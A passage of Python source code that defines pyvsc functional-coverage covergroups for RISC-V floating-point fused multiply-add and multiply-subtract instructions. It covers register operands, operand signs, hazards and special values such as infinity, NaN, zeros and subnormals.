self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs3 = vsc.coverpoint(lambda: self.instr.fs3, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs3_sign = vsc.coverpoint(lambda: self.instr.fs3_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fs3_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs3_value = vsc.coverpoint(lambda: self.instr.fs3_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fnmadd_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs3 = vsc.coverpoint(lambda: self.instr.fs3, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs3_sign = vsc.coverpoint(lambda: self.instr.fs3_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fs3_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs3_value = vsc.coverpoint(lambda: self.instr.fs3_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fnmadd_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs3 = vsc.coverpoint(lambda: self.instr.fs3, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs3_sign = vsc.coverpoint(lambda: self.instr.fs3_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs3_value = vsc.coverpoint(lambda: self.instr.fs3_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmsub_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs3 = vsc.coverpoint(lambda: self.instr.fs3, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs3_sign = vsc.coverpoint(lambda: self.instr.fs3_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fs3_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs3_value = vsc.coverpoint(lambda: self.instr.fs3_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmsub_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs3 = vsc.coverpoint(lambda: self.instr.fs3, cp_t=vsc.enum_t(riscv_fpr_t)) 